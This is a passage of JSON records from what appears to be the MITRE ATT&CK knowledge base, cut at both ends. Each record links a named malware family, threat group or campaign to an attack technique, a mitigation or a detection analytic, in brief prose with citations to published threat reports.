2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"When a document is found matching one of the extensions in the configuration, [TINYTYPHON](https://attack.mitre.org/software/S0131) uploads it to the C2 server.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--85b39628-204a-48d2-b377-ec368cbcb7ca","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff9369b6-62d2-46fd-acc9-ba20fdae8fac","created":"2024-09-06T21:48:28.613Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:48:28.613Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used tools such as NMAP for remote system discovery and enumeration in victim environments.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff950ea2-2982-4bfd-8361-7755e83778fd","created":"2019-01-30T16:39:54.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PaloAlto CardinalRat Apr 2017","description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:47:35.437Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) encodes many of its artifacts and is encrypted (AES-128) when downloaded.(Citation: PaloAlto CardinalRat Apr 2017) ","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff9691d7-91dd-4549-b997-d5abf327ef1f","created":"2022-04-06T13:57:51.746Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET PLEAD Malware July 2018","url":"https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/","description":"Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech‑companies misused in Plead malware campaign. Retrieved May 6, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used valid, stolen digital certificates for some of their malware and tools.(Citation: ESET PLEAD Malware July 2018)","modified":"2022-04-06T13:57:51.746Z","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff9932dc-6afa-4aa6-834b-4ff1ac6d96bb","created":"2022-04-06T19:05:25.560Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has established GitHub accounts to host its toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-15T19:13:43.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff9e0633-9618-4616-a303-f9bb059f6289","type":"relationship","created":"2019-09-18T18:09:59.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/","description":"Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.","source_name":"Fysbis Palo Alto Analysis"}],"modified":"2020-03-20T17:22:43.567Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has the ability to create and execute commands in a remote shell for CLI.(Citation: Fysbis Palo Alto Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff9e8d81-dc74-4494-a4aa-54f8039f9ad7","created":"2022-02-02T21:30:09.805Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has encrypted data before sending it to the server.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:31:10.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ff9fad0d-7481-4804-a4e8-800265a5c17d","created":"2022-09-29T19:05:32.702Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:05:32.702Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used `mshta` to execute DLLs.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffa43025-87c2-47a7-a4cf-b04010986b4f","created":"2024-08-13T20:02:24.288Z","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T20:02:24.288Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used a compromised Exchange account to search mailboxes and create new Exchange accounts.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffa83fe4-ca25-47b7-9d26-cefed3e32e7f","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T13:22:35.107Z","description":"Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.\n\nAdversaries sometimes modify object access rights at the operating system level. There are varying motivations behind this action - they may not want some files/objects to be changed on systems for persistence reasons and therefore provide admin only rights; also, they may want files to be accessible with lower levels of permissions.\n\nWindows environment logs can be noisy, so we take the following into consideration:\n\n- We need to exclude events generated by the local system (subject security ID “NT AUTHORITY\\SYSTEM”) and focus on actual user events.\n- When a permission modification is made for a folder, a new event log is generated for each subfolder and file under that folder. It is advised to group logs based on handle ID or user ID.\n- The Windows security log (event ID 4670) also includes information about the process that modifies the file permissions. It is advised to focus on uncommon process names, and it is also uncommon for real-users to perform this task without a GUI.\n- Pseudocode Event ID is for Windows Security Log (Event ID 4670 - Permissions on an object were changed). \n- Windows Event ID 4719 (An Attempt Was Made to Access An Object) can also be used to alert on changes to Active Directory audit policy for a system.\n\nAnalytic 1 - Access Permission Modification for Windows\n\n (source=\"*WinEventLog:Security\" EventCode IN (4670, 4719)) Object_Type=\"File\" Security_ID!=\"NT AUTHORITY\\\\SYSTEM\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffa8f46b-615f-4b95-8ed5-90f86eaedd20","created":"2019-06-25T12:15:00.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft AMSI June 2015","description":"Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T18:41:12.796Z","description":"Anti-virus can be used to automatically detect and quarantine suspicious files. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted. (Citation: Microsoft AMSI June 2015)","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffac75cc-91ec-4ecc-827c-a7090b8951c5","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffacfdd1-702e-4bb9-b60c-8e5c4cdf2a06","created":"2020-12-22T17:48:21.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T22:07:08.143Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has used search order hijacking to execute malicious payloads, such as [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffb03265-d9d6-4dc7-ba8e-71498be4e131","type":"relationship","created":"2020-05-26T16:17:59.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Unit 42 Rocke January 2019","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/","description":"Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.670Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) used scripts which detected and uninstalled antivirus software.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffbaf980-7288-4bfd-9887-6b4a103f178c","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor executed commands and arguments that may execute their own malicious payloads by hijacking the way operating systems run programs.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffc0ed92-9331-49c6-bb04-0ed1419c18cb","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for changes made to AD settings that may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffc74c74-bc06-4f08-96ef-5239341bc2ec","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffc94259-697d-49f2-8713-6f4593d2e5ed","created":"2024-02-14T20:36:15.930Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:36:15.930Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses a malicious Windows Batch script to run the Windows code utility to retrieve follow-on script payloads.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffcb5325-43d1-4b54-a9a5-f785c628136e","created":"2023-09-06T14:20:10.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.650Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can communicate with actor-controlled C2 servers by using a custom little-endian binary protocol.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ffccbf64-ef54-47c7-a117-389b5eca8047","created":"2022-04-14T16:38:09.733Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline instances to identify malicious modifications or additions.","modified":"2022-04-14T16:38:09.733Z","relationship_type":"detects","source_ref":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","target_ref":"attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffcfa61b-2b35-4d06-9298-836fe50f5bed","type":"relationship","created":"2022-02-07T16:07:49.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-07T16:07:49.556Z","description":"[Lizar](https://attack.mitre.org/software/S0681) has a plugin to retrieve information about all active network sessions on the infected server.(Citation: BiZone Lizar May 2021)","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffd3ead2-b1a0-46fa-adf0-d13ece7597e8","created":"2023-03-06T23:27:22.298Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:27:22.298Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has used HTTP and HTTPS for C2.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffd99d6b-3817-46a7-8bc0-2dd017b2d59a","created":"2024-07-01T18:05:28.362Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:05:28.362Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) has run shell commands to obtain a list of installed security products.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffe0659a-ff5b-4ffb-a842-38bb630fd6b8","type":"relationship","created":"2021-11-22T15:02:15.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T20:59:20.895Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process.","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffe4e161-2ebc-41da-b6e6-227cc6ead76c","created":"2024-06-06T19:29:51.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:44:15.115Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) has the ability to change the background wallpaper image to display the ransom note.(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ffe85478-e3ed-4856-b4ae-03a7b693e381","created":"2022-08-09T18:36:00.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 PingPull Jun 2022","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T19:40:38.950Z","description":"[PingPull](https://attack.mitre.org/software/S1031) can use AES, in cipher block chaining (CBC) mode padded with PKCS5, to encrypt C2 server communications.(Citation: Unit 42 PingPull Jun 2022)","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffecf9e6-6966-4535-934f-4fd4696875b0","type":"relationship","created":"2020-08-13T16:45:46.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."},{"source_name":"FireEye 